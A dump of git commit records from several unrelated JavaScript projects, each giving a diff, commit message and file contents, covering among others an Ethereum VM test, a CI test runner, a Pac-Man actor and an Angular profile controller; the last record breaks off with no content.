@@ -173,52 +173,8 @@ '),%0A - Block = require('../../../lib/block.js'),%0A te @@ -1521,100 +1521,8 @@ );%0A%0A -console.log('gas: ', results.gasUsed.toNumber(), 'exp: ', testData.exec.gas - testData.gas)%0A
e0f838beaf3a637f9969f2b14d196d597cc1f7b3
use verifyAccountPostConditions
test/common/vmtests/vmSha3.js
test/common/vmtests/vmSha3.js
var vmSha3Test = require('../../../../tests/vmtests/vmSha3Test.json'), async = require('async'), VM = require('../../../lib/vm'), Account = require('../../../lib/account.js'), assert = require('assert'), testUtils = require('../../testUtils'), rlp = require('rlp'), Trie = require('merkle-patricia-tree'); describe('[Common]: vmSha3', function () { var tests = Object.keys(vmSha3Test); tests.forEach(function(testKey) { var state = new Trie(); var testData = vmSha3Test[testKey]; it(testKey + ' setup the trie', function (done) { var keysOfPre = Object.keys(testData.pre), acctData, account; async.each(keysOfPre, function(key, callback) { acctData = testData.pre[key]; account = new Account(); account.nonce = testUtils.fromDecimal(acctData.nonce); account.balance = testUtils.fromDecimal(acctData.balance); state.put(new Buffer(key, 'hex'), account.serialize(), callback); }, done); }); it(testKey + ' run code', function(done) { var env = testData.env, block = testUtils.makeBlockFromEnv(env), acctData, account, runCodeData, vm = new VM(state); acctData = testData.pre[testData.exec.address]; account = new Account(); account.nonce = testUtils.fromDecimal(acctData.nonce); account.balance = testUtils.fromDecimal(acctData.balance); runCodeData = testUtils.makeRunCodeData(testData.exec, account, block); vm.runCode(runCodeData, function(err, results) { if (testKey === 'sha3_3') { assert(err === 'out of gas'); done(); return; } assert(!err); assert(results.gasUsed.toNumber() === (testData.exec.gas - testData.gas)); async.series([ function(cb) { account = results.account; acctData = testData.post[testData.exec.address]; testUtils.verifyAccountPostConditions(state, account, acctData, cb); }, function() { // validate the postcondition of other accounts delete testData.post[testData.exec.address]; var keysOfPost = Object.keys(testData.post); async.each(keysOfPost, function(key, callback) { acctData = testData.post[key]; state.get(new Buffer(key, 'hex'), function(err, raw) { assert(!err); account = new Account(raw); assert(testUtils.toDecimal(account.balance) === acctData.balance); assert(testUtils.toDecimal(account.nonce) === acctData.nonce); // validate storage var storageKeys = Object.keys(acctData.storage); if (storageKeys.length > 0) { state.root = account.stateRoot.toString('hex'); storageKeys.forEach(function(skey) { state.get(testUtils.address(skey), function(err, data) { assert(!err); assert(rlp.decode(data).toString('hex') === acctData.storage[skey].slice(2)); callback(); }); }); } else { callback(); } }); }, done); } ]); }); }); }); });
JavaScript
0
@@ -251,32 +251,8 @@ '),%0A - rlp = require('rlp'),%0A Tr @@ -2251,64 +2251,12 @@ y, c -allback) %7B%0A acctData = testData.post%5Bkey%5D;%0A +b) %7B %0A @@ -2417,153 +2417,37 @@ a -ssert(testUtils.toDecimal(account.balance) === acctData.balance);%0A assert(testUtils.toDecimal(account.nonce) === acctData.nonce);%0A +cctData = testData.post%5Bkey%5D; %0A @@ -2463,625 +2463,76 @@ -// valida te - st -orage%0A var storageKeys = Object.keys(acctData.storage);%0A if (storageKeys.length %3E 0) %7B%0A state.root = account.stateRoot.toString('hex');%0A storageKeys.forEach(function(skey) %7B%0A state.get(testUtils.address(skey), function(err, data) %7B%0A assert(!err);%0A assert(rlp.decode(data).toString('hex') === acctData.storage%5Bskey%5D.slice(2));%0A callback();%0A %7D);%0A %7D);%0A %7D else %7B%0A callback();%0A %7D +Utils.verifyAccountPostConditions(state, account, acctData, cb); %0A
64b400f5a82baf54e5386904b3dc8bb48a3c533f
Add extraSmall container style
app/themes/base/containers.js
app/themes/base/containers.js
export default ({ borders, colors, radii, space }) => { const defaultStyles = { mx: [0, 'auto'], bg: colors.white, width: ['100%', '95%'], mb: `${space[6]}px`, position: 'relative', }; const large = { ...defaultStyles, maxWidth: '1600px', }; const medium = { ...defaultStyles, maxWidth: '840px', }; const small = { ...defaultStyles, maxWidth: '600px', }; const bordered = { borderLeft: ['none', borders.default], borderRight: ['none', borders.default], borderTop: borders.default, borderBottom: borders.default, borderRadius: ['none', radii.default], }; return { large, largeBordered: { ...large, ...bordered, }, medium, mediumBordered: { ...medium, ...bordered, }, small, smallBordered: { ...small, ...bordered, }, }; };
JavaScript
0
@@ -404,32 +404,106 @@ '600px',%0A %7D;%0A%0A + const extraSmall = %7B%0A ...defaultStyles,%0A maxWidth: '320px',%0A %7D;%0A%0A const bordered @@ -946,16 +946,105 @@ %0A %7D,%0A + extraSmall,%0A extraSmallBordered: %7B%0A ...extraSmall,%0A ...bordered,%0A %7D,%0A %7D;%0A%7D;%0A
8326964820ac4a44ca830e1109fea129b9287c37
refactor method of clearing the data tree
lib/api/storage.js
lib/api/storage.js
const STORAGE_KEY = `_shredder`; let dataTree = { version: '1.0.0', mockedRequests: [], scenarios: [], currentScenario: null }; const originalDataTree = Object.assign({}, dataTree); export class ShredderStorage { constructor() { if (!ShredderStorage.getRaw()) { ShredderStorage.persist(); } Object.assign(dataTree, ShredderStorage.getSerialized()); } static persist() { localStorage.setItem( STORAGE_KEY, JSON.stringify(dataTree) ); return true; } static clear() { dataTree = Object.assign({}, originalDataTree); ShredderStorage.persist(); } static getRaw() { return localStorage.getItem(STORAGE_KEY); } static getSerialized() { return JSON.parse(ShredderStorage.getRaw()); } static get dataTree() { return dataTree; } } new ShredderStorage();
JavaScript
0.000002
@@ -27,18 +27,20 @@ dder%60;%0A%0A -le +cons t dataTr @@ -137,63 +137,8 @@ %7D;%0A%0A -const originalDataTree = Object.assign(%7B%7D, dataTree);%0A%0A expo @@ -476,27 +476,16 @@ () %7B%0A - dataTree = Object. @@ -495,31 +495,104 @@ ign( -%7B%7D, originalDataTree +dataTree, %7B%0A mockedRequests: %5B%5D,%0A scenarios: %5B%5D,%0A currentScenario: null%0A %7D );%0A +%0A
3645325b9d0d353e21040ea5039889e6313070a6
Fix mostUrgentSubject query to not use r.row in subquery
lib/bot/queries.js
lib/bot/queries.js
var r = require('rethinkdb'); // Number of seconds after which Reddit will archive an article // (180 days): https://github.com/reddit/reddit/commit/b7b24d2e9fa06ba37ea78e0275dce86d95158e64 var archiveLimit = 180 * 24 * 60 * 60; exports.mostUrgentSubject = r.table('subjects') .between(r.now().sub(archiveLimit),r.now(),{index:'article_created'}) .orderBy(function(subject){ var staleness = subject('last_checked').sub(r.now()); var age = subject('article_created').sub(r.now()); return staleness.div(age); }).limit(1).merge(function(subject){ return { forfeits: r.table('forfeits').getAll( subject('name'),{index: 'subject'}) .filter(r.not(r.row('withdrawn').default(false))) .merge(function(forfeit){ return { reply_klaxons: r.table('klaxons').getAll( forfeit('id'),{index:'forfeits'}) .map(r.row('reply')).coerceTo('array') }; }).coerceTo('array') }; })(0).default(null);
JavaScript
0.001892
@@ -668,19 +668,55 @@ ter( -r.not(r.row +function(forfeit)%7B%0A return r.not(forfeit ('wi @@ -740,16 +740,17 @@ (false)) +%7D )%0A @@ -897,23 +897,60 @@ map( -r.row('reply')) +function(klaxon)%7Breturn klaxon('reply')%7D)%0A .coe
ee115e620670236ef58c44c17a98f418c8209530
Remove unused browsers-changed functionality
lib/ci_mode_app.js
lib/ci_mode_app.js
/* ci_mode_app.js ============== The entry point for CI mode. */ var yaml = require('js-yaml') var fs = require('fs') var Server = require('./server') var spawn = require('child_process').spawn var tap = require('tap') var path = require('path') var async = require('async') var Backbone = require('backbone') var Config = require('./config') var log = require('winston') var TestResults = require('./runners').TestResults var BaseApp = require('./base_app') var race = require('./race') var _ = require('underscore') var fileExists = fs.exists || path.exists function App(config){ BaseApp.call(this, config) var self = this config.getLaunchers(this, function(launchers){ self.launchers = launchers self.initialize() self.server.once('server-start', function(){ self.startOnStartHook() }) }) } App.prototype = { __proto__: BaseApp.prototype , initialize: function(){ var config = this.config this.tapProducer = new tap.Producer(true) this.tapProducer.pipe(process.stdout) this.testId = 1 this.failed = false this.testsStarted = false this.server = new Server(this) with(this.server){ on('browsers-changed', this.onBrowsersChanged.bind(this)) on('test-result', this.onTestResult.bind(this)) on('server-start', this.onServerStart.bind(this)) } this.server.start() } , onBrowsersChanged: function(){ if (!this.testsStarted){ this.server.startTests() this.testsStarted = true } } , onServerStart: function(){ var self = this this.runPreprocessors(function(err, stdout, stderr, command){ if (err){ var name = 'before_tests hook' var errMsg = self.config.get('before_tests') var results = self.makeTestResults({ passed: false , testName: name , errMsg: errMsg , stdout: stdout , stderr: stderr }) self.outputTap(results) self.quit() }else{ self.runAllTheTests() } }) } , makeTestResults: function(params){ var passed = params.passed var testName = params.testName var errMsg = params.errMsg var runner = params.runner var stdout = params.stdout var stderr = params.stderr var results = new TestResults var errorItem = { passed: false , message: errMsg } var result = { passed: passed , failed: !passed , total: 1 , id: 1 , name: testName , items: [errorItem] } if (runner){ errorItem.stdout = runner.get('messages') .filter(function(m){ return m.get('type') === 'log' }).map(function(m){ return m.get('text') }).join('\n') errorItem.stderr = runner.get('messages') .filter(function(m){ return m.get('type') === 'error' }).map(function(m){ return m.get('text') }).join('\n') } if (stdout) errorItem.stdout = stdout if (stderr) errorItem.stderr = stderr results.addResult(result) return results } , makeTestResultsForCode: function(code, launcher){ var command = launcher.settings.command return this.makeTestResults({ passed: code === 0 , testName: '"' + command + '"' , errMsg: 'Exited with code ' + code , runner: launcher.runner }) } , makeTestResultsForTimeout: function(timeout, launcher){ var command = launcher.settings.command || 'Timed Out' var errMsg = 'Timed out ' + launcher.name + ' after waiting for ' + timeout + ' seconds' return this.makeTestResults({ passed: false , testName: command , errMsg: errMsg , runner: launcher.runner }) } , runAllTheTests: function(){ var self = this var url = 'http://localhost:' + this.config.get('port') async.forEachSeries(this.launchers, function(launcher, next){ console.log("# Launching " + launcher.name) process.stdout.write('# ') var processExited, gotTestResults function finish(){ if (launcher.tearDown){ launcher.tearDown(next) }else{ next() } } race(self.getRacers(launcher), function(results, gotResults){ if (launcher.runner){ launcher.runner.set('results', results) } if (!gotResults) self.emit('all-test-results', results) self.outputTap(results, launcher) launcher.kill('SIGKILL') finish() }) if (launcher.setup){ launcher.setup(self, function(){ launcher.start() }) }else{ launcher.start() } }, function(){ self.quit() }) } , getRacers: function(launcher){ var self = this return [ function(done){ launcher.once('processExit', function(code){ var results = self.makeTestResultsForCode(code, launcher) setTimeout(function(){ done(results) }, 200) }) } , function(done){ self.once('all-test-results', function(results){ done(results, true) }) } , function(done){ var timeout if (timeout = self.config.get('timeout')){ setTimeout(function(){ var results = self.makeTestResultsForTimeout(timeout, launcher) done(results) }, timeout * 1000) } } ] } , onTestResult: function(){ process.stdout.write('.') } , outputTap: function(results, launcher){ var producer = this.tapProducer console.log() // new line results.get('tests').forEach(function(test){ var testName = launcher ? ' - ' + launcher.name + ' ' + test.get('name') : test.get('name') if (!test.get('failed')){ producer.write({ id: this.testId++, ok: true, name: testName }) }else{ this.failed = true var item = test.get('items').filter(function(i){ return !i.passed })[0] var line = { id: this.testId++ , ok: false , name: testName , message: item.message } if (item.stacktrace) line.stacktrace = item.stacktrace if (item.stdout) line.stdout = item.stdout if (item.stderr) line.stderr = item.stderr producer.write(line) } }.bind(this)) console.log() // new line } , quit: function(){ var self = this this.tapProducer.end() var code = this.failed ? 1 : 0 this.runPostprocessors(function(){ self.runExitHook(function(){ process.exit(code) }) }) } } module.exports = App
JavaScript
0.000001
@@ -1220,78 +1220,8 @@ r)%7B%0A - on('browsers-changed', this.onBrowsersChanged.bind(this))%0A @@ -1386,168 +1386,8 @@ %7D%0A - , onBrowsersChanged: function()%7B%0A if (!this.testsStarted)%7B%0A this.server.startTests()%0A this.testsStarted = true%0A %7D%0A %7D%0A
79c2618d299db8751f4ed6fede4ed2be626cea11
use bearer prefix
lib/client/http.js
lib/client/http.js
var Client = module.exports var Promise = require("bluebird") var request = require("request") var routes = require("../routes") var d = require("debug")("raptorjs:client:http") Client.create = function (container) { var emit = function() { container.emit.apply(container, arguments) } var opts = container.config var addDefaultHeaders = function(opts, token) { if(!opts.headers) { opts.headers = { "Content-Type": "application/json" } } if(token) { opts.headers.Authorization = token } } var defaultsOptions = { baseUrl: opts.url, json: true, debug: opts.debug } addDefaultHeaders(defaultsOptions) var client = request.defaults(defaultsOptions) d("Created new client %s", defaultsOptions.baseUrl) var instance = {} instance.request = function (options) { // do not try to login if requesting login / get user var userReq = ( (options.url === routes.LOGIN) || (options.url === routes.USER_GET_ME || options.url === routes.REFRESH_TOKEN) ) ? Promise.resolve() : container.Auth().loadUser() emit("request.start", options) return userReq.then(function () { if(container.Auth().getToken()) { addDefaultHeaders(options, container.Auth().getToken()) } return new Promise(function (resolve, reject) { options.headers = Object.assign({}, defaultsOptions.headers || {}, options.headers || {}) d("Performing request %j", options) client(options, function (err, res, body) { if(err) { d("Request failed %s", err.message) emit("request.error", err) emit("request.complete", false) return reject(err) } var json try { json = JSON.parse(body) } catch(e) { json = body } if(res.statusCode >= 400 || res.statusCode < 200) { if (res.statusCode === 0) { res.statusMessage = "Cannot perform request" } let error = { code: json ? json.code : res.statusCode, message: json ? json.message : res.statusMessage, } if (body) { d("Error body: \n %j", body) } d("Request error %s %s", error.code, error.message) emit("request.error", error) emit("request.complete", false) const err = new Error(error.message) err.code = error.code return reject(err) } d("Request response: %j", json) emit("request.complete", json) resolve(json) }) }) }) } instance.get = function (url) { return instance.request({ method: "GET", url: url }) } instance.delete = function (url) { return instance.request({ method: "DELETE", url: url }) } instance.put = function (url, data) { return instance.request({ method: "PUT", url: url, body: data }) } instance.post = function (url, data) { return instance.request({ method: "POST", url: url, body: data }) } instance.client = client return instance }
JavaScript
0.000213
@@ -578,21 +578,33 @@ ation = +%60Bearer $%7B token +%7D%60 %0A
2a0eb2b689df943495165cbeb25c4b99da260dc6
Fix bug in whenReady
lib/co-routines.js
lib/co-routines.js
'use strict' const webDriver = require('selenium-webdriver') const By = webDriver.By const co = require('bluebird').coroutine const _ = require('lodash') /** --------------------- co functions ------------------------ **/ const getCoRoutines = (world, defaultTimeout) => { if (!world) { throw new Error('World must be defined') } if (_.isUndefined(defaultTimeout)) { defaultTimeout = 10000 } else if (!_.isNumber(defaultTimeout)) { throw new Error('Default Timeout must be a number') } const until = world.getUntil() return { whenEnabled: co(function * (el, timeout) { try { const driver = yield world.getDriver() yield driver.wait(until.elementIsEnabled(el), timeout || defaultTimeout) return Promise.resolve(el) } catch (e) { return el.getOuterHtml() .then((html) => { throw new Error(e.message + '\n' + html) }) } }), whenNotEnabled: co(function * (el, timeout) { try { const driver = yield world.getDriver() yield driver.wait(until.elementIsNotEnabled(el), timeout || defaultTimeout) return Promise.resolve(el) } catch (e) { return el.getOuterHtml() .then((html) => { throw new Error(e.message + '\n' + html) }) } }), whenVisible: co(function * (el, timeout) { try { const driver = yield world.getDriver() yield driver.wait(until.elementIsVisible(el), timeout || defaultTimeout) return Promise.resolve(el) } catch (e) { return el.getOuterHtml() .then((html) => { throw new Error(e.message + '\n' + html) }) } }), whenHidden: co(function * (el, timeout) { try { const driver = yield world.getDriver() yield driver.wait(until.elementIsNotVisible(el), timeout || defaultTimeout) return Promise.resolve(el) } catch (e) { return el.getOuterHtml() .then((html) => { throw new Error(e.message + '\n' + html) }) } }), whenMatches: co(function * (el, text, timeout) { try { const driver = yield world.getDriver() yield driver.wait(until.elementTextIs(el, text), timeout || defaultTimeout) return Promise.resolve(el) } catch (e) { return el.getOuterHtml() .then((html) => { throw new Error(e.message + '\n' + html) }) } }), whenTitleIs: co(function * (title, timeout) { try { const driver = yield world.getDriver() yield driver.wait(until.titleIs(title), timeout || defaultTimeout) return Promise.resolve(true) } catch (e) { throw new Error(e.message) } }), whenReady: co(function * (el, timeout) { try { if (_.isString(el)) { el = yield By.css(el) } yield this.whenVisible(el, timeout) yield this.whenHidden(el, timeout) return Promise.resolve(el) } catch (e) { throw new Error(e.message) } }), whenBrowserReady: co(function * (timeout) { try { const driver = yield world.getDriver() yield driver.wait(until.browserReady(), timeout || defaultTimeout) const url = yield driver.getCurrentUrl() return Promise.resolve(url) } catch (e) { throw new Error(e.message) } }) } } /** --------------------- module exports ------------------------ **/ module.exports = { getCoRoutines: getCoRoutines }
JavaScript
0
@@ -2891,19 +2891,88 @@ -el = yield +const driver = yield world.getDriver()%0A el = yield driver.findElements( By.c @@ -2973,24 +2973,25 @@ s(By.css(el) +) %0A %7D%0A
cc63a8e2bffe4c0b4b39eeb9f55cd33ba878e802
Fix wrong thenable implementation in metasync.compose
lib/composition.js
lib/composition.js
'use strict'; function Composition() {} const COMPOSE_CANCELED = 'Metasync: asynchronous composition canceled'; const COMPOSE_TIMEOUT = 'Metasync: asynchronous composition timed out'; const compose = ( // Asynchronous functions composition flow // array of functions, callback-last / err-first // Returns: function, composed callback-last / err-first ) => { const comp = (data, callback) => { if (!callback) { callback = data; data = {}; } comp.done = callback; if (comp.canceled) { if (callback) { callback(new Error(COMPOSE_CANCELED)); } return; } if (comp.timeout) { comp.timer = setTimeout(() => { comp.timer = null; if (callback) { callback(new Error(COMPOSE_TIMEOUT)); comp.done = null; } }, comp.timeout); } comp.context = data; comp.arrayed = Array.isArray(comp.context); comp.paused = false; if (comp.len === 0) { comp.finalize(); return; } if (comp.parallelize) comp.parallel(); else comp.sequential(); }; const first = flow[0]; const parallelize = flow.length === 1 && Array.isArray(first); const fns = parallelize ? first : flow; comp.fns = fns; comp.parallelize = parallelize; comp.context = null; comp.timeout = 0; comp.timer = null; comp.len = fns.length; comp.canceled = false; comp.paused = true; comp.arrayed = false; comp.done = null; comp.onResume = null; Object.setPrototypeOf(comp, Composition.prototype); return comp; }; Composition.prototype.on = function(name, callback) { if (name === 'resume') { this.onResume = callback; } }; Composition.prototype.finalize = function(err) { if (this.canceled) return; if (this.timer) { clearTimeout(this.timer); this.timer = null; } const callback = this.done; if (callback) { if (this.paused) { this.on('resume', () => { this.done = null; callback(err, this.context); }); } else { this.done = null; callback(err, this.context); } } }; Composition.prototype.collect = function(err, result) { if (this.canceled) return; if (err) { const callback = this.done; if (callback) { this.done = null; callback(err); } return; } if (result !== this.context && result !== undefined) { if (this.arrayed) { this.context.push(result); } else if (typeof(result) === 'object') { Object.assign(this.context, result); } } }; Composition.prototype.parallel = function() { let counter = 0; const next = (err, result) => { this.collect(err, result); if (++counter === this.len) this.finalize(); }; const fns = this.fns; const len = this.len; const context = this.context; let i, fn, fc; for (i = 0; i < len; i++) { fn = fns[i]; fc = Array.isArray(fn) ? compose(fn) : fn; fc(context, next); } }; Composition.prototype.sequential = function() { let counter = -1; const fns = this.fns; const len = this.len; const context = this.context; const next = (err, result) => { if (this.canceled) return; if (err || result) this.collect(err, result); if (++counter === len) { this.finalize(); return; } const fn = fns[counter]; const fc = Array.isArray(fn) ? compose(fn) : fn; if (this.paused) { this.on('resume', () => fc(context, next)); } else { fc(context, next); } }; next(); }; Composition.prototype.then = function(fulfill, reject) { if (this.canceled) { reject(new Error(COMPOSE_CANCELED)); return; } this((err, result) => { if (err) reject(err); else fulfill(result); }); return this; }; Composition.prototype.clone = function() { const fns = this.fns.slice(); const flow = this.parallelize ? [fns] : fns; return compose(flow); }; Composition.prototype.pause = function() { if (this.canceled) return this; this.paused = true; return this; }; Composition.prototype.resume = function() { if (this.canceled) return this; this.paused = false; if (this.onResume) { const callback = this.onResume; this.onResume = null; callback(); } return this; }; Composition.prototype.timeout = function(msec) { this.timeout = msec; return this; }; Composition.prototype.cancel = function() { if (this.canceled) return this; this.canceled = true; const callback = this.done; if (callback) { this.done = null; callback(new Error(COMPOSE_CANCELED)); } return this; }; module.exports = { compose };
JavaScript
0.000035
@@ -414,24 +414,67 @@ callback) %7B%0A + if (typeof(data) === 'function') %7B%0A callba @@ -490,16 +490,18 @@ ;%0A + + data = %7B @@ -503,16 +503,86 @@ a = %7B%7D;%0A + %7D else %7B%0A comp.data = data;%0A return comp;%0A %7D%0A %7D%0A @@ -711,32 +711,37 @@ %7D%0A return + comp ;%0A %7D%0A if ( @@ -1112,32 +1112,37 @@ ();%0A return + comp ;%0A %7D%0A if ( @@ -1172,24 +1172,24 @@ parallel();%0A - else com @@ -1200,24 +1200,41 @@ quential();%0A + return comp;%0A %7D;%0A const
59d1c04411fb4a4e2e44b98ee50fa83dac3c921a
Update jquery.greedy-navigation.js
assets/js/plugins/jquery.greedy-navigation.js
assets/js/plugins/jquery.greedy-navigation.js
/* * Greedy Navigation * * http://codepen.io/lukejacksonn/pen/PwmwWV * */ var $nav = $('#site-nav'); var $btn = $('#site-nav button'); var $vlinks = $('#site-nav .visible-links'); var $hlinks = $('#site-nav .hidden-links'); var breaks = []; function updateNav() { var availableSpace = $btn.hasClass('hidden') ? $nav.width() : $nav.width() - $btn.width() - 30; // The visible list is overflowing the nav if($vlinks.width() > availableSpace) { // Record the width of the list breaks.push($vlinks.width()); // Move item to the hidden list $vlinks.children().last().prependTo($hlinks); // Show the dropdown btn if($btn.hasClass('hidden')) { $btn.removeClass('hidden'); } // The visible list is not overflowing } else { // There is space for another item in the nav if(availableSpace > breaks[breaks.length-1]) { // Move the item to the visible list $hlinks.children().first().appendTo($vlinks); breaks.pop(); } // Hide the dropdown btn if hidden list is empty if(breaks.length < 1) { $btn.addClass('hidden'); $hlinks.addClass('hidden'); } } // Keep counter updated $btn.attr("count", breaks.length); // Recur if the visible list is still overflowing the nav if($vlinks.width() > availableSpace) { updateNav(); } } // Window listeners $(window).resize(function() { updateNav(); }); $btn.on('click', function() { $hlinks.toggleClass('hidden'); $(this).toggleClass('close'); }); updateNav();
JavaScript
0
@@ -260,16 +260,18 @@ Nav() %7B%0A + %0A var a @@ -362,16 +362,237 @@ - 30;%0A%0A + console.log(%22updateNav:: I am called%22);%0A console.log(%22availableSpace: %22 + availableSpace);%0A console.log(%22$vlinks.width(): %22 + $vlinks.width());%0A console.log(%22breaks%5Bbreaks.length-1%5D: %22 + breaks%5Bbreaks.length-1%5D);%0A %0A // The @@ -1727,20 +1727,21 @@ );%0A%7D);%0A%0AupdateNav(); +%0A
4ec227f9e7800600fd82aa70b9faf12825fd00e5
Remove unused Actor.clear
actor.js
actor.js
var Actor = function(args) { this.context = args.context; this.x = args.startX; this.y = args.startY; this.name = args.name; this.radius = 6; this.direction = args.direction; this.speed = PAC_MOVE_DELAY; this.mouthPos = 0.0; this.mouthIsOpening = true; this.moveIntervalID = false; this.keyStates = { up: false, down: false, left: false, right: false } } Actor.prototype.getClearDimensions = function() { return { x: this.x - this.radius, y: this.y - this.radius, w: 2 * this.radius, h: 2 * this.radius } }; Actor.prototype.clear = function() { this.context.clearRect(this.x - this.radius, this.y - this.radius, 2 * this.radius, 2 * this.radius); }; Actor.prototype.render = function() { this.context.fillStyle = nameToColor[this.name]; this.context.beginPath(); var arcStart, arcEnd; var cheekX = 0; var cheekY = 0; switch(this.direction) { case "up": arcStart = (1.5 + this.mouthPos) * Math.PI; arcEnd = (3.5 - this.mouthPos) * Math.PI; cheekY = 2.5; break; case "down": arcStart = (0.5 + this.mouthPos) * Math.PI; arcEnd = (2.5 - this.mouthPos) * Math.PI; cheekY = -2.5; break; case "left": arcStart = (1.0 + this.mouthPos) * Math.PI; arcEnd = (3.0 - this.mouthPos) * Math.PI; cheekX = 2.5; break; case "right": arcStart = (0.0 + this.mouthPos) * Math.PI; arcEnd = (2.0 - this.mouthPos) * Math.PI; cheekX = -2.5; break; } if(this.name == "m") { this.context.arc(this.x, this.y, this.radius, arcStart, arcEnd, false); this.context.lineTo(this.x + cheekX, this.y + cheekY); } this.context.closePath(); this.context.fill(); }; Actor.prototype.move = function() { this.mouthPos = Math.floor((this.mouthPos + ((this.mouthIsOpening ? 1 : -1) * 0.08)) * 100) / 100; if(this.mouthPos <= 0) { this.mouthIsOpening = true; } else if(this.mouthPos >= 0.4) { this.mouthIsOpening = false; } switch(this.direction) { case "up": this.y--; break; case "down": this.y++; break; case "left": this.x--; break; case "right": this.x++; break; } if(this.x + 8 <= 0) { if(this.direction == "left") { this.x = BOARD_WIDTH; } } else if(this.x - 8 > BOARD_WIDTH) { if(this.direction == "right") { this.x = 0 - 8; } } return {x: this.x, y: this.y} }; Actor.prototype.moveTowardCenter = function() { var xInTile = this.x % 8; var yInTile = this.y % 8; if((this.direction == "up" || this.direction == "down") && xInTile != 4) { this.x += xInTile < 4 ? 1 : -1; } else if((this.direction == "left" || this.direction == "right") && yInTile != 4) { this.y += yInTile < 4 ? 1 : -1; } }; Actor.prototype.handleKeyUp = function(keyPressed) { this.keyStates[keyPressed] = false; };
JavaScript
0.000008
@@ -565,152 +565,8 @@ %0A%7D;%0A -Actor.prototype.clear = function() %7B%0A this.context.clearRect(this.x - this.radius, this.y - this.radius, 2 * this.radius, 2 * this.radius);%0A%7D;%0A Acto
98acc9bddf40a0b287763cbf15b4985f21ff1f8c
Verify scope changes on Test
Source/client/app/account/profiles/profiles.controller.js
Source/client/app/account/profiles/profiles.controller.js
'use strict'; angular.module('medCheckApp') .controller('ProfilesCtrl', function ($scope, $http, $state, Auth, User, Profile, Allergen, $rootScope, Modal) { $scope.getCurrentUser = Auth.getCurrentUser; $scope.frmProfile = {}; $scope.frmProfile.name = ""; $scope.frmProfile.name = ""; $scope.frmProfile.age = ""; $scope.frmProfile.gender = ""; $scope.frmProfile.pregnant = ""; $scope.frmProfile.allergen = ""; $scope.user = {}; $scope.user.profiles = {}; // Use the User $resource to fetch all users //$scope.users = User.query(); $http.get('/api/users/me').success(function (user) { $scope.user = user; $scope.user.profiles = user.profiles; }); $scope.addAllergen = function (objProfile) { console.log('Add Allergen Called'); console.log($scope.frmProfile.allergen); //Create new instance of Allergin var _allergen = new Allergen({ _name: String }); //Populate allergen and load to Array _allergen.name = $scope.frmProfile.allergen; //Set local profile's allergen to add objProfile.allergens = _allergen; //Local scope user instance var _user = $scope.user; Profile.addAllergen(objProfile, function (res) { if (typeof res === 'object') { angular.forEach($scope.user.profiles, function(u, i) { if (objProfile._id === $scope.user.profiles[i]._id) { console.log('See me?'); $scope.user = res; $scope.user.profiles = res.profiles; toastr.success('You may now use MedCheck to search for possible allergens. ', 'Profile Saved!'); } }); } else { // invalid response toastr.error('Something is amiss, unable to save profile.', 'Ah, Snap!'); } }); }; $scope.confirmAllergenDelete = Modal.confirm.delete(function (objAllergen, objProfile) { $scope.dropallergen(objAllergen, objProfile); }); $scope.dropallergen = function (objAllergen, objProfile) { //Set local profile's allergen to drop objProfile.allergens = objAllergen; console.log($scope.user.profiles.allergens); //Local scope user instance var _user = $scope.user; Profile.dropAllergen(objProfile, function (res) { if (typeof res === 'object') { angular.forEach($scope.user.profiles, function(u, i) { if (objProfile._id === $scope.user.profiles[i]._id) { console.log('See me?'); //$state.reload(); $scope.user = res; $scope.user.profiles = res.profiles; toastr.success('You may now use MedCheck to search for possible allergens. ', 'Profile Saved!'); } }); } else { // invalid response toastr.error('Something is amiss, unable to save profile.', 'Ah, Snap!'); } }); }; $scope.confirmDelete = Modal.confirm.delete(function (obj) { $scope.deleteprofile(obj); }); $scope.deleteprofile = function (obj) { //Local scope user instance var _user = $scope.user; User.dropProfile(obj, function (res) { if (typeof res === 'object') { angular.forEach($scope.user.profiles, function(u, i) { if (obj._id === $scope.user.profiles[i]._id) { console.log('See me?'); $scope.user.profiles.splice(i, 1); toastr.success('You may add additional profiles if needed.', 'Profile Deleted!'); } }); } else { // invalid response toastr.error('Something is amiss, unable to save profile.', 'Ah, Snap!'); } }); }; /** Update existing User * * This function does not update User, a local instance of user * is populated with the new profile and allergens then packaged * back unto the user document. addProfile API will push profile * and allergen updates into the User document. */ $scope.addProfile = function (form) { console.log('Add Profile Called'); //Local scope user instance var _user = $scope.user; //Local empty profile instance var _profile = new Profile({ _profilename: String, _age: String, _gender: String, _pregnant: Number, _avatar: String, _allergens: [{ name: String }] }); var i; var arrAllergen = new Array(); for (i = 0; i < 1; i++) { //Create new instance of Allergin var _allergen = new Allergen({ _name: String }); //Populate allergen and load to Array _allergen.name = 'Penecillin'; arrAllergen[i] = _allergen; }; // populate profile with data _profile.profilename = $scope.frmProfile.name; _profile.age = $scope.frmProfile.age; _profile.gender = $scope.frmProfile.gender; _profile.pregnant = $scope.frmProfile.pregnant; if ($scope.frmProfile.gender == 'Male') { _profile.avatar = 'div-with-hipster' + getRandomArbitrary(1, 5); } //Random number 1-5 for dynamic male avatar demo else { _profile.avatar = 'div-with-hipster' + getRandomArbitrary(6, 10); } //Random number 6-10 for dynamic female avatar demo _profile.allergens = arrAllergen; _user.profiles = _profile; console.log(_user.profiles); console.log(_profile); if (form.$valid) { User.addProfile(_user, function (res) { if (typeof res === 'object') { toastr.success('You may now use MedCheck to search for possible allergens. ', 'Profile Saved!'); $scope.user = res; $scope.user.profiles = res.profiles; } else { // invalid response toastr.error('Something is amiss, unable to save profile.', 'Ah, Snap!'); } }); }; // Returns a random number between min (inclusive) and max (exclusive) function getRandomArbitrary(min, max) { return Math.floor(Math.random() * (max - min + 1)) + min; } }; });
JavaScript
0.000001
@@ -5888,16 +5888,160 @@ rofiles; +%0A if(!$scope.$$phase) %7B%0A console.log('dropped in $apply');%0A $rootScope.$apply();%0A %7D %0A %0A
5ee135dcd0aa624039f81d52b1a8e51351faf518
Fix wording.
src/commands/information/ping.js
src/commands/information/ping.js
